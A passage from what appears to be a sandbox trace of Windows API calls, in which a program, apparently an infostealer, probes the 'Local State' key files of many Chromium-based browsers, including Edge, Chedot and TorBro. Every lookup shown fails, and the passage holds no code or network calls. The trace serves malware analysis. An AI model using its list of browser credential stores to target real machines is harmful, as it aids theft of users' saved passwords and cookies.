[0097.849] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.849] GetLastError () returned 0x3 [0097.849] SetLastError (dwErrCode=0x3) [0097.849] GetLastError () returned 0x3 [0097.849] SetLastError (dwErrCode=0x3) [0097.849] GetLastError () returned 0x3 [0097.849] SetLastError (dwErrCode=0x3) [0097.849] GetLastError () returned 0x3 [0097.849] SetLastError (dwErrCode=0x3) [0097.849] GetLastError () returned 0x3 [0097.849] SetLastError (dwErrCode=0x3) [0097.849] GetLastError () returned 0x3 [0097.849] SetLastError (dwErrCode=0x3) [0097.849] GetLastError () returned 0x3 [0097.849] SetLastError (dwErrCode=0x3) [0097.849] GetLastError () returned 0x3 [0097.849] SetLastError (dwErrCode=0x3) [0097.849] GetLastError () returned 0x3 [0097.849] SetLastError (dwErrCode=0x3) [0097.849] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CentBrowser\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208008a, ftCreationTime.dwHighDateTime=0xa0, ftLastAccessTime.dwLowDateTime=0x208008a, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6bab38, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.850] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.851] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\7Star\\7Star\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\" [0097.851] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\" [0097.851] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\" [0097.851] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\Local State" [0097.851] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=71, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0097.851] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8e) returned 0x3430048 [0097.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=71, lpWideCharStr=0x3430048, cchWideChar=71 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\Local State") returned 71 [0097.851] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21111c0 [0097.851] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.851] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\7star\\7star\\user data\\local state")) returned 0xffffffff [0097.851] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.851] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.851] GetLastError () returned 0x3 [0097.851] SetLastError (dwErrCode=0x3) [0097.851] GetLastError () returned 0x3 [0097.851] SetLastError (dwErrCode=0x3) [0097.851] GetLastError () returned 0x3 [0097.852] SetLastError (dwErrCode=0x3) [0097.852] GetLastError () returned 0x3 [0097.852] SetLastError (dwErrCode=0x3) [0097.852] GetLastError () returned 0x3 [0097.852] SetLastError (dwErrCode=0x3) [0097.852] GetLastError () returned 0x3 [0097.852] SetLastError (dwErrCode=0x3) [0097.852] GetLastError () returned 0x3 [0097.852] SetLastError (dwErrCode=0x3) [0097.852] GetLastError () returned 0x3 [0097.852] SetLastError (dwErrCode=0x3) [0097.852] GetLastError () returned 0x3 [0097.852] SetLastError (dwErrCode=0x3) [0097.852] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\7Star\\7Star\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208008a, ftCreationTime.dwHighDateTime=0xa0, ftLastAccessTime.dwLowDateTime=0x208008a, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6ba958, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.852] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.852] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Elements Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\" [0097.852] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\" [0097.852] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\\\" [0097.853] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\\\Local State" [0097.853] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=76, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0097.853] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x98) returned 0x3430048 [0097.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=76, lpWideCharStr=0x3430048, cchWideChar=76 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\\\Local State") returned 76 [0097.853] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa0) returned 0x21111c0 [0097.853] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.853] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\elements browser\\user data\\local state")) returned 0xffffffff [0097.853] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.853] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.853] GetLastError () returned 0x3 [0097.853] SetLastError (dwErrCode=0x3) [0097.853] GetLastError () returned 0x3 [0097.853] SetLastError (dwErrCode=0x3) [0097.853] GetLastError () returned 0x3 [0097.853] SetLastError (dwErrCode=0x3) [0097.853] GetLastError () returned 0x3 [0097.853] SetLastError (dwErrCode=0x3) [0097.853] GetLastError () returned 0x3 [0097.854] SetLastError (dwErrCode=0x3) [0097.854] GetLastError () returned 0x3 [0097.854] SetLastError (dwErrCode=0x3) [0097.854] GetLastError () returned 0x3 [0097.854] SetLastError (dwErrCode=0x3) [0097.854] GetLastError () returned 0x3 [0097.854] SetLastError (dwErrCode=0x3) [0097.854] GetLastError () returned 0x3 [0097.854] SetLastError (dwErrCode=0x3) [0097.854] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Elements Browser\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080094, ftCreationTime.dwHighDateTime=0xa8, ftLastAccessTime.dwLowDateTime=0x2080094, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x15, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x690ec0, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.854] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.854] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\TorBro\\Profile\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\" [0097.854] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\" [0097.854] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\" [0097.854] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\Local State" [0097.854] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2111478 [0097.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=64, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0097.854] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0097.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=64, lpWideCharStr=0x3430048, cchWideChar=64 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\Local State") returned 64 [0097.855] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x21111c0 [0097.855] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.855] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\local state")) returned 0xffffffff [0097.855] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.855] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.855] GetLastError () returned 0x3 [0097.855] SetLastError (dwErrCode=0x3) [0097.855] GetLastError () returned 0x3 [0097.855] SetLastError (dwErrCode=0x3) [0097.855] GetLastError () returned 0x3 [0097.855] SetLastError (dwErrCode=0x3) [0097.855] GetLastError () returned 0x3 [0097.855] SetLastError (dwErrCode=0x3) [0097.855] GetLastError () returned 0x3 [0097.855] SetLastError (dwErrCode=0x3) [0097.855] GetLastError () returned 0x3 [0097.855] SetLastError (dwErrCode=0x3) [0097.855] GetLastError () returned 0x3 [0097.855] SetLastError (dwErrCode=0x3) [0097.856] GetLastError () returned 0x3 [0097.856] SetLastError (dwErrCode=0x3) [0097.856] GetLastError () returned 0x3 [0097.856] SetLastError (dwErrCode=0x3) [0097.856] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208007c, ftCreationTime.dwHighDateTime=0x90, ftLastAccessTime.dwLowDateTime=0x208007c, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x12, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6c0b58, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.856] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.856] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Suhba\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\" [0097.856] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\" [0097.856] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\\\" [0097.856] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\\\Local State" [0097.856] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=65, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0097.856] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x82) returned 0x3430048 [0097.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=65, lpWideCharStr=0x3430048, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\\\Local State") returned 65 [0097.856] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21111c0 [0097.856] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.856] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\suhba\\user data\\local state")) returned 0xffffffff [0097.856] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.857] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.857] GetLastError () returned 0x3 [0097.857] SetLastError (dwErrCode=0x3) [0097.857] GetLastError () returned 0x3 [0097.857] SetLastError (dwErrCode=0x3) [0097.857] GetLastError () returned 0x3 [0097.857] SetLastError (dwErrCode=0x3) [0097.857] GetLastError () returned 0x3 [0097.857] SetLastError (dwErrCode=0x3) [0097.857] GetLastError () returned 0x3 [0097.857] SetLastError (dwErrCode=0x3) [0097.857] GetLastError () returned 0x3 [0097.857] SetLastError (dwErrCode=0x3) [0097.857] GetLastError () returned 0x3 [0097.857] SetLastError (dwErrCode=0x3) [0097.857] GetLastError () returned 0x3 [0097.857] SetLastError (dwErrCode=0x3) [0097.857] GetLastError () returned 0x3 [0097.857] SetLastError (dwErrCode=0x3) [0097.857] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Suhba\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208007e, ftCreationTime.dwHighDateTime=0x90, ftLastAccessTime.dwLowDateTime=0x208007e, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x12, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6c0b58, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.857] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.858] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Rafotech\\Mustang\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\" [0097.858] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\" [0097.858] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\" [0097.858] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\Local State" [0097.858] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=76, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0097.858] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x98) returned 0x3430048 [0097.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=76, lpWideCharStr=0x3430048, cchWideChar=76 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\Local State") returned 76 [0097.858] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa0) returned 0x21111c0 [0097.858] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.858] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\rafotech\\mustang\\user data\\local state")) returned 0xffffffff [0097.858] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.858] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.858] GetLastError () returned 0x3 [0097.858] SetLastError (dwErrCode=0x3) [0097.858] GetLastError () returned 0x3 [0097.858] SetLastError (dwErrCode=0x3) [0097.858] GetLastError () returned 0x3 [0097.859] SetLastError (dwErrCode=0x3) [0097.859] GetLastError () returned 0x3 [0097.859] SetLastError (dwErrCode=0x3) [0097.859] GetLastError () returned 0x3 [0097.859] SetLastError (dwErrCode=0x3) [0097.859] GetLastError () returned 0x3 [0097.859] SetLastError (dwErrCode=0x3) [0097.859] GetLastError () returned 0x3 [0097.859] SetLastError (dwErrCode=0x3) [0097.859] GetLastError () returned 0x3 [0097.859] SetLastError (dwErrCode=0x3) [0097.859] GetLastError () returned 0x3 [0097.859] SetLastError (dwErrCode=0x3) [0097.859] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080094, ftCreationTime.dwHighDateTime=0xa8, ftLastAccessTime.dwLowDateTime=0x2080094, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x15, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x690ec0, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.859] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.859] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Chedot\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\" [0097.859] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\" [0097.859] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\" [0097.860] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\Local State" [0097.860] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0097.860] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x84) returned 0x3430048 [0097.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=66, lpWideCharStr=0x3430048, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\Local State") returned 66 [0097.860] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21111c0 [0097.860] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.860] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chedot\\user data\\local state")) returned 0xffffffff [0097.860] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.860] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.860] GetLastError () returned 0x3 [0097.860] SetLastError (dwErrCode=0x3) [0097.860] GetLastError () returned 0x3 [0097.860] SetLastError (dwErrCode=0x3) [0097.860] GetLastError () returned 0x3 [0097.860] SetLastError (dwErrCode=0x3) [0097.860] GetLastError () returned 0x3 [0097.860] SetLastError (dwErrCode=0x3) [0097.860] GetLastError () returned 0x3 [0097.860] SetLastError (dwErrCode=0x3) [0097.860] GetLastError () returned 0x3 [0097.860] SetLastError (dwErrCode=0x3) [0097.860] GetLastError () returned 0x3 [0097.861] SetLastError (dwErrCode=0x3) [0097.861] GetLastError () returned 0x3 [0097.861] SetLastError (dwErrCode=0x3) [0097.861] GetLastError () returned 0x3 [0097.861] SetLastError (dwErrCode=0x3) [0097.861] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chedot\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080080, ftCreationTime.dwHighDateTime=0x98, ftLastAccessTime.dwLowDateTime=0x5e0260, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x13, nFileSizeHigh=0x3, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6a7ea0, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.861] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.861] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Microsoft\\Edge\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\" [0097.861] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\") 